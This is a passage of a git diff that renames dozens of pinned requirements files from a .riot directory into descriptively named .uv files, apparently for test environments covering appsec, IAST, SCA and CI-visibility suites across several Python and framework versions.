100% rename from .riot/requirements/8227490.txt rename to .uv/appsec-appsec-threats-django-iast--appsec-threats-django-iast-py311-django-4-2.txt diff --git a/.riot/requirements/b06371b.txt b/.uv/appsec-appsec-threats-django-iast--appsec-threats-django-iast-py312-django-6-0.txt similarity index 100% rename from .riot/requirements/b06371b.txt rename to .uv/appsec-appsec-threats-django-iast--appsec-threats-django-iast-py312-django-6-0.txt diff --git a/.riot/requirements/4a31628.txt b/.uv/appsec-appsec-threats-django-iast--appsec-threats-django-iast-py313-django-4-2.txt similarity index 100% rename from .riot/requirements/4a31628.txt rename to .uv/appsec-appsec-threats-django-iast--appsec-threats-django-iast-py313-django-4-2.txt diff --git a/.riot/requirements/a421c15.txt b/.uv/appsec-appsec-threats-django-iast--appsec-threats-django-iast-py313-django-5-1.txt similarity index 100% rename from .riot/requirements/a421c15.txt rename to .uv/appsec-appsec-threats-django-iast--appsec-threats-django-iast-py313-django-5-1.txt diff --git a/.riot/requirements/1469bae.txt b/.uv/appsec-appsec-threats-django-iast--appsec-threats-django-iast-py314-django-6-0.txt similarity index 100% rename from .riot/requirements/1469bae.txt rename to .uv/appsec-appsec-threats-django-iast--appsec-threats-django-iast-py314-django-6-0.txt diff --git a/.riot/requirements/efbfad6.txt b/.uv/appsec-appsec-threats-django-iast--appsec-threats-django-iast-py39-django-2-2.txt similarity index 100% rename from .riot/requirements/efbfad6.txt rename to .uv/appsec-appsec-threats-django-iast--appsec-threats-django-iast-py39-django-2-2.txt diff --git a/.riot/requirements/19fc0b5.txt b/.uv/appsec-appsec-threats-django-iast--appsec-threats-django-iast-py39-django-3-2.txt similarity index 100% rename from .riot/requirements/19fc0b5.txt rename to .uv/appsec-appsec-threats-django-iast--appsec-threats-django-iast-py39-django-3-2.txt diff --git a/.riot/requirements/a40995b.txt b/.uv/appsec-appsec-threats-django-no-iast--appsec-threats-django-no-iast-py310-django-3-2.txt similarity index 100% rename from .riot/requirements/a40995b.txt rename to .uv/appsec-appsec-threats-django-no-iast--appsec-threats-django-no-iast-py310-django-3-2.txt diff --git a/.riot/requirements/8a57317.txt b/.uv/appsec-appsec-threats-django-no-iast--appsec-threats-django-no-iast-py310-django-4-0-10.txt similarity index 100% rename from .riot/requirements/8a57317.txt rename to .uv/appsec-appsec-threats-django-no-iast--appsec-threats-django-no-iast-py310-django-4-0-10.txt diff --git a/.riot/requirements/1deb5fd.txt b/.uv/appsec-appsec-threats-django-no-iast--appsec-threats-django-no-iast-py310-django-5-1.txt similarity index 100% rename from .riot/requirements/1deb5fd.txt rename to .uv/appsec-appsec-threats-django-no-iast--appsec-threats-django-no-iast-py310-django-5-1.txt diff --git a/.riot/requirements/6e0f20e.txt b/.uv/appsec-appsec-threats-django-no-iast--appsec-threats-django-no-iast-py311-django-4-2.txt similarity index 100% rename from .riot/requirements/6e0f20e.txt rename to .uv/appsec-appsec-threats-django-no-iast--appsec-threats-django-no-iast-py311-django-4-2.txt diff --git a/.riot/requirements/140ce37.txt b/.uv/appsec-appsec-threats-django-no-iast--appsec-threats-django-no-iast-py312-django-6-0.txt similarity index 100% rename from .riot/requirements/140ce37.txt rename to .uv/appsec-appsec-threats-django-no-iast--appsec-threats-django-no-iast-py312-django-6-0.txt diff --git a/.riot/requirements/1246b86.txt b/.uv/appsec-appsec-threats-django-no-iast--appsec-threats-django-no-iast-py313-django-4-2.txt similarity index 100% rename from .riot/requirements/1246b86.txt rename to .uv/appsec-appsec-threats-django-no-iast--appsec-threats-django-no-iast-py313-django-4-2.txt diff --git a/.riot/requirements/13cf9b7.txt b/.uv/appsec-appsec-threats-django-no-iast--appsec-threats-django-no-iast-py313-django-5-1.txt similarity index 100% rename from .riot/requirements/13cf9b7.txt rename to .uv/appsec-appsec-threats-django-no-iast--appsec-threats-django-no-iast-py313-django-5-1.txt diff --git a/.riot/requirements/175f930.txt b/.uv/appsec-appsec-threats-django-no-iast--appsec-threats-django-no-iast-py314-django-6-0.txt similarity index 100% rename from .riot/requirements/175f930.txt rename to .uv/appsec-appsec-threats-django-no-iast--appsec-threats-django-no-iast-py314-django-6-0.txt diff --git a/.riot/requirements/1209b80.txt b/.uv/appsec-appsec-threats-django-no-iast--appsec-threats-django-no-iast-py39-django-2-2.txt similarity index 100% rename from .riot/requirements/1209b80.txt rename to .uv/appsec-appsec-threats-django-no-iast--appsec-threats-django-no-iast-py39-django-2-2.txt diff --git a/.riot/requirements/458c79d.txt b/.uv/appsec-appsec-threats-django-no-iast--appsec-threats-django-no-iast-py39-django-3-2.txt similarity index 100% rename from .riot/requirements/458c79d.txt rename to .uv/appsec-appsec-threats-django-no-iast--appsec-threats-django-no-iast-py39-django-3-2.txt diff --git a/.riot/requirements/5db6f26.txt b/.uv/appsec-appsec-threats-django-rc--appsec-threats-django-rc-py310.txt similarity index 100% rename from .riot/requirements/5db6f26.txt rename to .uv/appsec-appsec-threats-django-rc--appsec-threats-django-rc-py310.txt diff --git a/.riot/requirements/1e0312b.txt b/.uv/appsec-appsec-threats-django-rc--appsec-threats-django-rc-py313.txt similarity index 100% rename from .riot/requirements/1e0312b.txt rename to .uv/appsec-appsec-threats-django-rc--appsec-threats-django-rc-py313.txt diff --git a/.riot/requirements/b783dae.txt b/.uv/appsec-appsec-threats-fastapi-iast--appsec-threats-fastapi-iast-py310-fastapi-0-114-2.txt similarity index 100% rename from .riot/requirements/b783dae.txt rename to .uv/appsec-appsec-threats-fastapi-iast--appsec-threats-fastapi-iast-py310-fastapi-0-114-2.txt diff --git a/.riot/requirements/1e1166f.txt b/.uv/appsec-appsec-threats-fastapi-iast--appsec-threats-fastapi-iast-py310-fastapi-0-141-1.txt similarity index 100% rename from .riot/requirements/1e1166f.txt rename to .uv/appsec-appsec-threats-fastapi-iast--appsec-threats-fastapi-iast-py310-fastapi-0-141-1.txt diff --git a/.riot/requirements/20fd4c0.txt b/.uv/appsec-appsec-threats-fastapi-iast--appsec-threats-fastapi-iast-py310-fastapi-0-86-0-anyio-3-7-1.txt similarity index 100% rename from .riot/requirements/20fd4c0.txt rename to .uv/appsec-appsec-threats-fastapi-iast--appsec-threats-fastapi-iast-py310-fastapi-0-86-0-anyio-3-7-1.txt diff --git a/.riot/requirements/c36f019.txt b/.uv/appsec-appsec-threats-fastapi-iast--appsec-threats-fastapi-iast-py310-fastapi-0-94-1.txt similarity index 100% rename from .riot/requirements/c36f019.txt rename to .uv/appsec-appsec-threats-fastapi-iast--appsec-threats-fastapi-iast-py310-fastapi-0-94-1.txt diff --git a/.riot/requirements/151f23f.txt b/.uv/appsec-appsec-threats-fastapi-iast--appsec-threats-fastapi-iast-py313-fastapi-0-114-2.txt similarity index 100% rename from .riot/requirements/151f23f.txt rename to .uv/appsec-appsec-threats-fastapi-iast--appsec-threats-fastapi-iast-py313-fastapi-0-114-2.txt diff --git a/.riot/requirements/1477633.txt b/.uv/appsec-appsec-threats-fastapi-iast--appsec-threats-fastapi-iast-py313-fastapi-0-86-0-anyio-3-7-1.txt similarity index 100% rename from .riot/requirements/1477633.txt rename to .uv/appsec-appsec-threats-fastapi-iast--appsec-threats-fastapi-iast-py313-fastapi-0-86-0-anyio-3-7-1.txt diff --git a/.riot/requirements/1391c58.txt b/.uv/appsec-appsec-threats-fastapi-iast--appsec-threats-fastapi-iast-py313-fastapi-0-94-1.txt similarity index 100% rename from .riot/requirements/1391c58.txt rename to .uv/appsec-appsec-threats-fastapi-iast--appsec-threats-fastapi-iast-py313-fastapi-0-94-1.txt diff --git a/.riot/requirements/1612a26.txt b/.uv/appsec-appsec-threats-fastapi-iast--appsec-threats-fastapi-iast-py314-fastapi-0-141-1.txt similarity index 100% rename from .riot/requirements/1612a26.txt rename to .uv/appsec-appsec-threats-fastapi-iast--appsec-threats-fastapi-iast-py314-fastapi-0-141-1.txt diff --git a/.riot/requirements/1cc47fc.txt b/.uv/appsec-appsec-threats-fastapi-no-iast--appsec-threats-fastapi-no-iast-py310-fastapi-0-114-2.txt similarity index 100% rename from .riot/requirements/1cc47fc.txt rename to .uv/appsec-appsec-threats-fastapi-no-iast--appsec-threats-fastapi-no-iast-py310-fastapi-0-114-2.txt diff --git a/.riot/requirements/1468e09.txt b/.uv/appsec-appsec-threats-fastapi-no-iast--appsec-threats-fastapi-no-iast-py310-fastapi-0-141-1.txt similarity index 100% rename from .riot/requirements/1468e09.txt rename to .uv/appsec-appsec-threats-fastapi-no-iast--appsec-threats-fastapi-no-iast-py310-fastapi-0-141-1.txt diff --git a/.riot/requirements/14f0a7d.txt b/.uv/appsec-appsec-threats-fastapi-no-iast--appsec-threats-fastapi-no-iast-py310-fastapi-0-86-0-anyio-3-7-1.txt similarity index 100% rename from .riot/requirements/14f0a7d.txt rename to .uv/appsec-appsec-threats-fastapi-no-iast--appsec-threats-fastapi-no-iast-py310-fastapi-0-86-0-anyio-3-7-1.txt diff --git a/.riot/requirements/19e0c13.txt b/.uv/appsec-appsec-threats-fastapi-no-iast--appsec-threats-fastapi-no-iast-py310-fastapi-0-94-1.txt similarity index 100% rename from .riot/requirements/19e0c13.txt rename to .uv/appsec-appsec-threats-fastapi-no-iast--appsec-threats-fastapi-no-iast-py310-fastapi-0-94-1.txt diff --git a/.riot/requirements/146f136.txt b/.uv/appsec-appsec-threats-fastapi-no-iast--appsec-threats-fastapi-no-iast-py313-fastapi-0-114-2.txt similarity index 100% rename from .riot/requirements/146f136.txt rename to .uv/appsec-appsec-threats-fastapi-no-iast--appsec-threats-fastapi-no-iast-py313-fastapi-0-114-2.txt diff --git a/.riot/requirements/2f72b04.txt b/.uv/appsec-appsec-threats-fastapi-no-iast--appsec-threats-fastapi-no-iast-py313-fastapi-0-86-0-anyio-3-7-1.txt similarity index 100% rename from .riot/requirements/2f72b04.txt rename to .uv/appsec-appsec-threats-fastapi-no-iast--appsec-threats-fastapi-no-iast-py313-fastapi-0-86-0-anyio-3-7-1.txt diff --git a/.riot/requirements/42a952a.txt b/.uv/appsec-appsec-threats-fastapi-no-iast--appsec-threats-fastapi-no-iast-py313-fastapi-0-94-1.txt similarity index 100% rename from .riot/requirements/42a952a.txt rename to .uv/appsec-appsec-threats-fastapi-no-iast--appsec-threats-fastapi-no-iast-py313-fastapi-0-94-1.txt diff --git a/.riot/requirements/5cea1c3.txt b/.uv/appsec-appsec-threats-fastapi-no-iast--appsec-threats-fastapi-no-iast-py314-fastapi-0-141-1.txt similarity index 100% rename from .riot/requirements/5cea1c3.txt rename to .uv/appsec-appsec-threats-fastapi-no-iast--appsec-threats-fastapi-no-iast-py314-fastapi-0-141-1.txt diff --git a/.riot/requirements/1bd5d5f.txt b/.uv/appsec-appsec-threats-fastapi-rc--appsec-threats-fastapi-rc-py310.txt similarity index 100% rename from .riot/requirements/1bd5d5f.txt rename to .uv/appsec-appsec-threats-fastapi-rc--appsec-threats-fastapi-rc-py310.txt diff --git a/.riot/requirements/142ded7.txt b/.uv/appsec-appsec-threats-fastapi-rc--appsec-threats-fastapi-rc-py313.txt similarity index 100% rename from .riot/requirements/142ded7.txt rename to .uv/appsec-appsec-threats-fastapi-rc--appsec-threats-fastapi-rc-py313.txt diff --git a/.riot/requirements/1be8f07.txt b/.uv/appsec-appsec-threats-flask-iast--appsec-threats-flask-iast-py310-flask-2-3.txt similarity index 100% rename from .riot/requirements/1be8f07.txt rename to .uv/appsec-appsec-threats-flask-iast--appsec-threats-flask-iast-py310-flask-2-3.txt diff --git a/.riot/requirements/5420667.txt b/.uv/appsec-appsec-threats-flask-iast--appsec-threats-flask-iast-py311-flask-3-0.txt similarity index 100% rename from .riot/requirements/5420667.txt rename to .uv/appsec-appsec-threats-flask-iast--appsec-threats-flask-iast-py311-flask-3-0.txt diff --git a/.riot/requirements/a039894.txt b/.uv/appsec-appsec-threats-flask-iast--appsec-threats-flask-iast-py313-flask-2-3.txt similarity index 100% rename from .riot/requirements/a039894.txt rename to .uv/appsec-appsec-threats-flask-iast--appsec-threats-flask-iast-py313-flask-2-3.txt diff --git a/.riot/requirements/e73e989.txt b/.uv/appsec-appsec-threats-flask-iast--appsec-threats-flask-iast-py313-flask-3-0.txt similarity index 100% rename from .riot/requirements/e73e989.txt rename to .uv/appsec-appsec-threats-flask-iast--appsec-threats-flask-iast-py313-flask-3-0.txt diff --git a/.riot/requirements/e4781b7.txt b/.uv/appsec-appsec-threats-flask-iast--appsec-threats-flask-iast-py39-flask-1-1-markupsafe-1-1.txt similarity index 100% rename from .riot/requirements/e4781b7.txt rename to .uv/appsec-appsec-threats-flask-iast--appsec-threats-flask-iast-py39-flask-1-1-markupsafe-1-1.txt diff --git a/.riot/requirements/118fec7.txt b/.uv/appsec-appsec-threats-flask-iast--appsec-threats-flask-iast-py39-flask-2-1-3-werkzeug-lt-3-0.txt similarity index 100% rename from .riot/requirements/118fec7.txt rename to .uv/appsec-appsec-threats-flask-iast--appsec-threats-flask-iast-py39-flask-2-1-3-werkzeug-lt-3-0.txt diff --git a/.riot/requirements/18b8b8f.txt b/.uv/appsec-appsec-threats-flask-no-iast--appsec-threats-flask-no-iast-py310-flask-2-3.txt similarity index 100% rename from .riot/requirements/18b8b8f.txt rename to .uv/appsec-appsec-threats-flask-no-iast--appsec-threats-flask-no-iast-py310-flask-2-3.txt diff --git a/.riot/requirements/1e5cdec.txt b/.uv/appsec-appsec-threats-flask-no-iast--appsec-threats-flask-no-iast-py311-flask-3-0.txt similarity index 100% rename from .riot/requirements/1e5cdec.txt rename to .uv/appsec-appsec-threats-flask-no-iast--appsec-threats-flask-no-iast-py311-flask-3-0.txt diff --git a/.riot/requirements/222495c.txt b/.uv/appsec-appsec-threats-flask-no-iast--appsec-threats-flask-no-iast-py313-flask-2-3.txt similarity index 100% rename from .riot/requirements/222495c.txt rename to .uv/appsec-appsec-threats-flask-no-iast--appsec-threats-flask-no-iast-py313-flask-2-3.txt diff --git a/.riot/requirements/5b4a20e.txt b/.uv/appsec-appsec-threats-flask-no-iast--appsec-threats-flask-no-iast-py313-flask-3-0.txt similarity index 100% rename from .riot/requirements/5b4a20e.txt rename to .uv/appsec-appsec-threats-flask-no-iast--appsec-threats-flask-no-iast-py313-flask-3-0.txt diff --git a/.riot/requirements/1a69754.txt b/.uv/appsec-appsec-threats-flask-no-iast--appsec-threats-flask-no-iast-py39-flask-1-1-markupsafe-1-1.txt similarity index 100% rename from .riot/requirements/1a69754.txt rename to .uv/appsec-appsec-threats-flask-no-iast--appsec-threats-flask-no-iast-py39-flask-1-1-markupsafe-1-1.txt diff --git a/.riot/requirements/29f95c4.txt b/.uv/appsec-appsec-threats-flask-no-iast--appsec-threats-flask-no-iast-py39-flask-2-1-3-werkzeug-lt-3-0.txt similarity index 100% rename from .riot/requirements/29f95c4.txt rename to .uv/appsec-appsec-threats-flask-no-iast--appsec-threats-flask-no-iast-py39-flask-2-1-3-werkzeug-lt-3-0.txt diff --git a/.riot/requirements/191bdb7.txt b/.uv/appsec-appsec-threats-flask-rc--appsec-threats-flask-rc-py311.txt similarity index 100% rename from .riot/requirements/191bdb7.txt rename to .uv/appsec-appsec-threats-flask-rc--appsec-threats-flask-rc-py311.txt diff --git a/.riot/requirements/11f7715.txt b/.uv/appsec-appsec-threats-flask-rc--appsec-threats-flask-rc-py313.txt similarity index 100% rename from .riot/requirements/11f7715.txt rename to .uv/appsec-appsec-threats-flask-rc--appsec-threats-flask-rc-py313.txt diff --git a/.riot/requirements/7c90047.txt b/.uv/appsec-appsec-threats-tornado-iast--appsec-threats-tornado-iast-py310-tornado-6-5.txt similarity index 100% rename from .riot/requirements/7c90047.txt rename to .uv/appsec-appsec-threats-tornado-iast--appsec-threats-tornado-iast-py310-tornado-6-5.txt diff --git a/.riot/requirements/b13655a.txt b/.uv/appsec-appsec-threats-tornado-iast--appsec-threats-tornado-iast-py312-tornado-6-3.txt similarity index 100% rename from .riot/requirements/b13655a.txt rename to .uv/appsec-appsec-threats-tornado-iast--appsec-threats-tornado-iast-py312-tornado-6-3.txt diff --git a/.riot/requirements/e13bf52.txt b/.uv/appsec-appsec-threats-tornado-iast--appsec-threats-tornado-iast-py312-tornado-6-4.txt similarity index 100% rename from .riot/requirements/e13bf52.txt rename to .uv/appsec-appsec-threats-tornado-iast--appsec-threats-tornado-iast-py312-tornado-6-4.txt diff --git a/.riot/requirements/fd57e36.txt b/.uv/appsec-appsec-threats-tornado-iast--appsec-threats-tornado-iast-py314-tornado-6-5.txt similarity index 100% rename from .riot/requirements/fd57e36.txt rename to .uv/appsec-appsec-threats-tornado-iast--appsec-threats-tornado-iast-py314-tornado-6-5.txt diff --git a/.riot/requirements/165add9.txt b/.uv/appsec-appsec-threats-tornado-iast--appsec-threats-tornado-iast-py39-tornado-6-3.txt similarity index 100% rename from .riot/requirements/165add9.txt rename to .uv/appsec-appsec-threats-tornado-iast--appsec-threats-tornado-iast-py39-tornado-6-3.txt diff --git a/.riot/requirements/3ec038b.txt b/.uv/appsec-appsec-threats-tornado-iast--appsec-threats-tornado-iast-py39-tornado-6-4.txt similarity index 100% rename from .riot/requirements/3ec038b.txt rename to .uv/appsec-appsec-threats-tornado-iast--appsec-threats-tornado-iast-py39-tornado-6-4.txt diff --git a/.riot/requirements/1151ca8.txt b/.uv/appsec-appsec-threats-tornado-no-iast--appsec-threats-tornado-no-iast-py310-tornado-6-5.txt similarity index 100% rename from .riot/requirements/1151ca8.txt rename to .uv/appsec-appsec-threats-tornado-no-iast--appsec-threats-tornado-no-iast-py310-tornado-6-5.txt diff --git a/.riot/requirements/1a78e3a.txt b/.uv/appsec-appsec-threats-tornado-no-iast--appsec-threats-tornado-no-iast-py312-tornado-6-3.txt similarity index 100% rename from .riot/requirements/1a78e3a.txt rename to .uv/appsec-appsec-threats-tornado-no-iast--appsec-threats-tornado-no-iast-py312-tornado-6-3.txt diff --git a/.riot/requirements/31125c5.txt b/.uv/appsec-appsec-threats-tornado-no-iast--appsec-threats-tornado-no-iast-py312-tornado-6-4.txt similarity index 100% rename from .riot/requirements/31125c5.txt rename to .uv/appsec-appsec-threats-tornado-no-iast--appsec-threats-tornado-no-iast-py312-tornado-6-4.txt diff --git a/.riot/requirements/8f61b5d.txt b/.uv/appsec-appsec-threats-tornado-no-iast--appsec-threats-tornado-no-iast-py314-tornado-6-5.txt similarity index 100% rename from .riot/requirements/8f61b5d.txt rename to .uv/appsec-appsec-threats-tornado-no-iast--appsec-threats-tornado-no-iast-py314-tornado-6-5.txt diff --git a/.riot/requirements/5a4a2ee.txt b/.uv/appsec-appsec-threats-tornado-no-iast--appsec-threats-tornado-no-iast-py39-tornado-6-3.txt similarity index 100% rename from .riot/requirements/5a4a2ee.txt rename to .uv/appsec-appsec-threats-tornado-no-iast--appsec-threats-tornado-no-iast-py39-tornado-6-3.txt diff --git a/.riot/requirements/1370206.txt b/.uv/appsec-appsec-threats-tornado-no-iast--appsec-threats-tornado-no-iast-py39-tornado-6-4.txt similarity index 100% rename from .riot/requirements/1370206.txt rename to .uv/appsec-appsec-threats-tornado-no-iast--appsec-threats-tornado-no-iast-py39-tornado-6-4.txt diff --git a/.riot/requirements/1ac5fb6.txt b/.uv/appsec-appsec-threats-tornado-rc--appsec-threats-tornado-rc-py310.txt similarity index 100% rename from .riot/requirements/1ac5fb6.txt rename to .uv/appsec-appsec-threats-tornado-rc--appsec-threats-tornado-rc-py310.txt diff --git a/.riot/requirements/5f63374.txt b/.uv/appsec-appsec-threats-tornado-rc--appsec-threats-tornado-rc-py314.txt similarity index 100% rename from .riot/requirements/5f63374.txt rename to .uv/appsec-appsec-threats-tornado-rc--appsec-threats-tornado-rc-py314.txt diff --git a/.riot/requirements/1f75b21.txt b/.uv/appsec-iast-aggregated-leak-testing--iast-aggregated-leak-testing-py310.txt similarity index 100% rename from .riot/requirements/1f75b21.txt rename to .uv/appsec-iast-aggregated-leak-testing--iast-aggregated-leak-testing-py310.txt diff --git a/.riot/requirements/69e1cb1.txt b/.uv/appsec-iast-aggregated-leak-testing--iast-aggregated-leak-testing-py311.txt similarity index 100% rename from .riot/requirements/69e1cb1.txt rename to .uv/appsec-iast-aggregated-leak-testing--iast-aggregated-leak-testing-py311.txt diff --git a/.riot/requirements/87b8661.txt b/.uv/appsec-iast-aggregated-leak-testing--iast-aggregated-leak-testing-py312.txt similarity index 100% rename from .riot/requirements/87b8661.txt rename to .uv/appsec-iast-aggregated-leak-testing--iast-aggregated-leak-testing-py312.txt diff --git a/.riot/requirements/1b9c768.txt b/.uv/appsec-iast-tdd-propagation--iast-tdd-propagation-py310.txt similarity index 100% rename from .riot/requirements/1b9c768.txt rename to .uv/appsec-iast-tdd-propagation--iast-tdd-propagation-py310.txt diff --git a/.riot/requirements/8f43d8e.txt b/.uv/appsec-iast-tdd-propagation--iast-tdd-propagation-py311.txt similarity index 100% rename from .riot/requirements/8f43d8e.txt rename to .uv/appsec-iast-tdd-propagation--iast-tdd-propagation-py311.txt diff --git a/.riot/requirements/b7f5345.txt b/.uv/appsec-iast-tdd-propagation--iast-tdd-propagation-py312.txt similarity index 100% rename from .riot/requirements/b7f5345.txt rename to .uv/appsec-iast-tdd-propagation--iast-tdd-propagation-py312.txt diff --git a/.riot/requirements/1febdc9.txt b/.uv/appsec-iast-tdd-propagation--iast-tdd-propagation-py313.txt similarity index 100% rename from .riot/requirements/1febdc9.txt rename to .uv/appsec-iast-tdd-propagation--iast-tdd-propagation-py313.txt diff --git a/.riot/requirements/1c06b59.txt b/.uv/appsec-iast-tdd-propagation--iast-tdd-propagation-py314.txt similarity index 100% rename from .riot/requirements/1c06b59.txt rename to .uv/appsec-iast-tdd-propagation--iast-tdd-propagation-py314.txt diff --git a/.riot/requirements/14f9152.txt b/.uv/appsec-iast-tdd-propagation--iast-tdd-propagation-py39.txt similarity index 100% rename from .riot/requirements/14f9152.txt rename to .uv/appsec-iast-tdd-propagation--iast-tdd-propagation-py39.txt diff --git a/.riot/requirements/cd184c1.txt b/.uv/appsec-sca--sca-py310.txt similarity index 100% rename from .riot/requirements/cd184c1.txt rename to .uv/appsec-sca--sca-py310.txt diff --git a/.riot/requirements/ccd445e.txt b/.uv/appsec-sca--sca-py311.txt similarity index 100% rename from .riot/requirements/ccd445e.txt rename to .uv/appsec-sca--sca-py311.txt diff --git a/.riot/requirements/10ba06a.txt b/.uv/appsec-sca--sca-py312.txt similarity index 100% rename from .riot/requirements/10ba06a.txt rename to .uv/appsec-sca--sca-py312.txt diff --git a/.riot/requirements/1a7f51a.txt b/.uv/appsec-sca--sca-py313.txt similarity index 100% rename from .riot/requirements/1a7f51a.txt rename to .uv/appsec-sca--sca-py313.txt diff --git a/.riot/requirements/1e5870e.txt b/.uv/appsec-sca--sca-py314.txt similarity index 100% rename from .riot/requirements/1e5870e.txt rename to .uv/appsec-sca--sca-py314.txt diff --git a/.riot/requirements/1e07125.txt b/.uv/appsec-sca--sca-py39.txt similarity index 100% rename from .riot/requirements/1e07125.txt rename to .uv/appsec-sca--sca-py39.txt diff --git a/.riot/requirements/f95117e.txt b/.uv/appsec-urllib--urllib3-py310-urllib3-1-26-6-urllib3-2.txt similarity index 100% rename from .riot/requirements/f95117e.txt rename to .uv/appsec-urllib--urllib3-py310-urllib3-1-26-6-urllib3-2.txt diff --git a/.riot/requirements/11bd6c7.txt b/.uv/appsec-urllib--urllib3-py310-urllib3-latest-urllib3-2.txt similarity index 100% rename from .riot/requirements/11bd6c7.txt rename to .uv/appsec-urllib--urllib3-py310-urllib3-latest-urllib3-2.txt diff --git a/.riot/requirements/1cc0636.txt b/.uv/appsec-urllib--urllib3-py311-urllib3-1-26-8-urllib3-3.txt similarity index 100% rename from .riot/requirements/1cc0636.txt rename to .uv/appsec-urllib--urllib3-py311-urllib3-1-26-8-urllib3-3.txt diff --git a/.riot/requirements/8f2dccf.txt b/.uv/appsec-urllib--urllib3-py311-urllib3-latest-urllib3-3.txt similarity index 100% rename from .riot/requirements/8f2dccf.txt rename to .uv/appsec-urllib--urllib3-py311-urllib3-latest-urllib3-3.txt diff --git a/.riot/requirements/580224f.txt b/.uv/appsec-urllib--urllib3-py312-urllib3-2-0-0-urllib3-4.txt similarity index 100% rename from .riot/requirements/580224f.txt rename to .uv/appsec-urllib--urllib3-py312-urllib3-2-0-0-urllib3-4.txt diff --git a/.riot/requirements/120e7ea.txt b/.uv/appsec-urllib--urllib3-py312-urllib3-latest-urllib3-4.txt similarity index 100% rename from .riot/requirements/120e7ea.txt rename to .uv/appsec-urllib--urllib3-py312-urllib3-latest-urllib3-4.txt diff --git a/.riot/requirements/1fa51f6.txt b/.uv/appsec-urllib--urllib3-py313-urllib3-2-0-0-urllib3-4.txt similarity index 100% rename from .riot/requirements/1fa51f6.txt rename to .uv/appsec-urllib--urllib3-py313-urllib3-2-0-0-urllib3-4.txt diff --git a/.riot/requirements/19153ba.txt b/.uv/appsec-urllib--urllib3-py313-urllib3-latest-urllib3-4.txt similarity index 100% rename from .riot/requirements/19153ba.txt rename to .uv/appsec-urllib--urllib3-py313-urllib3-latest-urllib3-4.txt diff --git a/.riot/requirements/4efad1c.txt b/.uv/appsec-urllib--urllib3-py314-urllib3-2-0-0-urllib3-4.txt similarity index 100% rename from .riot/requirements/4efad1c.txt rename to .uv/appsec-urllib--urllib3-py314-urllib3-2-0-0-urllib3-4.txt diff --git a/.riot/requirements/1d07e1a.txt b/.uv/appsec-urllib--urllib3-py314-urllib3-latest-urllib3-4.txt similarity index 100% rename from .riot/requirements/1d07e1a.txt rename to .uv/appsec-urllib--urllib3-py314-urllib3-latest-urllib3-4.txt diff --git a/.riot/requirements/1fb0d21.txt b/.uv/appsec-urllib--urllib3-py39-urllib3-1-25-8-urllib3.txt similarity index 100% rename from .riot/requirements/1fb0d21.txt rename to .uv/appsec-urllib--urllib3-py39-urllib3-1-25-8-urllib3.txt diff --git a/.riot/requirements/118f9a8.txt b/.uv/appsec-urllib--urllib3-py39-urllib3-latest-urllib3.txt similarity index 100% rename from .riot/requirements/118f9a8.txt rename to .uv/appsec-urllib--urllib3-py39-urllib3-latest-urllib3.txt diff --git a/.riot/requirements/5ec8423.txt b/.uv/build-docs--build-docs-py310.txt similarity index 100% rename from .riot/requirements/5ec8423.txt rename to .uv/build-docs--build-docs-py310.txt diff --git a/.riot/requirements/30ef239.txt b/.uv/ci-visibility-ci-visibility--ci-visibility-py310.txt similarity index 100% rename from .riot/requirements/30ef239.txt rename to .uv/ci-visibility-ci-visibility--ci-visibility-py310.txt diff --git a/.riot/requirements/1f30a84.txt b/.uv/ci-visibility-ci-visibility--ci-visibility-py311.txt similarity index 100% rename from .riot/requirements/1f30a84.txt rename to .uv/ci-visibility-ci-visibility--ci-visibility-py311.txt diff --git a/.riot/requirements/79ef099.txt b/.uv/ci-visibility-ci-visibility--ci-visibility-py312.txt similarity index 100% rename from .riot/requirements/79ef099.txt rename to .uv/ci-visibility-ci-visibility--ci-visibility-py312.txt diff --git a/.riot/requirements/eef30c1.txt b/.uv/ci-visibility-ci-visibility--ci-visibility-py313.txt similarity index 100% rename from .riot/requirements/eef30c1.txt rename to .uv/ci-visibility-ci-visibility--ci-visibility-py313.txt diff --git a/.riot/requirements/f8ee464.txt b/.uv/ci-visibility-ci-visibility--ci-visibility-py39.txt similarity index 100% rename from .riot/requirements/f8ee464.txt rename to .uv/ci-visibility-ci-visibility--ci-visibility-py39.txt diff --git a/.riot/requirements/ad3a56c.txt b/.uv/ci-visibility-ci-visibility-snapshot--ci-visibility-snapshot-py310.txt similarity index 100% rename from .riot/requirements/ad3a56c.txt rename to .uv/ci-visibility-ci-visibility-snapshot--ci-visibility-snapshot-py310.txt diff --git a/.riot/requirements/9ae58d0.txt b/.uv/ci-visibility-ci-visibility-snapshot--ci-visibility-snapshot-py311.txt similarity index 100% rename from .riot/requirements/9ae58d0.txt rename to .uv/ci-visibility-ci-visibility-snapshot--ci-visibility-snapshot-py311.txt diff --git a/.riot/requirements/15a8df6.txt b/.uv/ci-visibility-ci-visibility-snapshot--ci-visibility-snapshot-py312.txt similarity index 100% rename from .riot/requirements/15a8df6.txt rename to .uv/ci-visibility-ci-visibility-snapshot--ci-visibility-snapshot-py312.txt diff --git a/.riot/requirements/965b029.txt b/.uv/ci-visibility-ci-visibility-snapshot--ci-visibility-snapshot-py313.txt similarity index 100% rename from .riot/requirements/965b029.txt rename to .uv/ci-visibility-ci-visibility-snapshot--ci-visibility-snapshot-py313.txt diff --git a/.riot/requirements/10b7fd9.txt b/.uv/ci-visibility-ci-visibility-snapshot--ci-visibility-snapshot-py39.txt similarity index 100% rename from .riot/requirements/10b7fd9.txt rename to .uv/ci-visibility-ci-visibility-snapshot--ci-visibility-snapshot-py39.txt diff --git a/.riot/requirements/18da66a.txt b/.uv/ci-visibility-dd-coverage--dd-coverage-py310.txt similarity index 100% rename from .riot/requirements/18da66a.txt rename to .uv/ci-visibility-dd-coverage--dd-coverage-py310.txt diff --git a/.riot/requirements/ae7e800.txt b/.uv/ci-visibility-dd-coverage--dd-coverage-py311.txt similarity index 100% rename from .riot/requirements/ae7e800.txt rename to .uv/ci-visibility-dd-coverage--dd-coverage-py311.txt diff --git a/.riot/requirements/6dcdfb3.txt b/.uv/ci-visibility-dd-coverage--dd-coverage-py312.txt similarity index 100% rename from .riot/requirements/6dcdfb3.txt rename to .uv/ci-visibility-dd-coverage--dd-coverage-py312.txt diff --git a/.riot/requirements/1127dcb.txt b/.uv/ci-visibility-dd-coverage--dd-coverage-py313.txt similarity index 100% rename from .riot/requirements/1127dcb.txt rename to .uv/ci-visibility-dd-coverage--dd-coverage-py313.txt diff --git a/.riot/requirements/1edb5f0.txt b/.uv/ci-visibility-dd-coverage--dd-coverage-py314.txt similarity index 100% rename from .riot/requirements/1edb5f0.txt rename to .uv/ci-visibility-dd-coverage--dd-coverage-py314.txt diff --git 